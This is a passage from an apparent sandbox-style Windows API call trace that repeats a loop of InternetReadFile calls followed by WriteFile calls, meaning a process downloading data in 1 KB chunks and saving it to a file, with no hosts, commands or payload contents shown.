WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.261] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.261] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.262] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.262] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.262] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.262] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.262] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.263] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.263] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.263] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.263] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.263] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.263] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.264] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.264] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.264] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.264] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.264] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.264] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.265] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.265] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.265] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.265] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.266] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.266] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.289] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.290] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.290] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.290] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.291] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.291] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.292] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.292] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.292] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.293] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.293] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.293] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.294] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.294] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.294] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.294] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.294] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.295] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.295] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.295] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.295] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.295] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.295] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.296] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.296] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.296] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.297] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.297] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.297] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.297] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.297] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.297] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.298] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.298] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.298] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.298] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.299] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.299] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.299] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.299] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.299] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.299] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.300] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.300] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.300] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.300] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.300] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.301] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.301] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.301] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.302] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.302] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.302] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.302] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.302] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.303] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.303] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.303] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.304] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.304] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.304] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.304] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.304] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.305] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.305] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.305] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.305] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.305] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.306] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.306] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.306] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.306] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.306] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.307] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.307] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.307] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.307] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.307] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.308] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.308] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.308] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.308] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.308] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.344] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.344] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.345] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.345] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.345] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.345] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.345] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.345] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.346] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.346] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.346] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.346] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) returned 1 [0077.346] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x75190000 [0077.347] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18eeac, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0x18f2b0 | out: lpBuffer=0x18eeac*, lpdwNumberOfBytesRead=0x18f2b0*=0x400) returned 1 [0077.347] WriteFile (in: hFile=0x180, lpBuffer=0x18eeac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x18f2ac, lpOverlapped=0x0 | out: lpBuffer=0x18eeac*, lpNumberOfBytesWritten=0x18f2ac*=0x400, lpOverlapped=0x0) 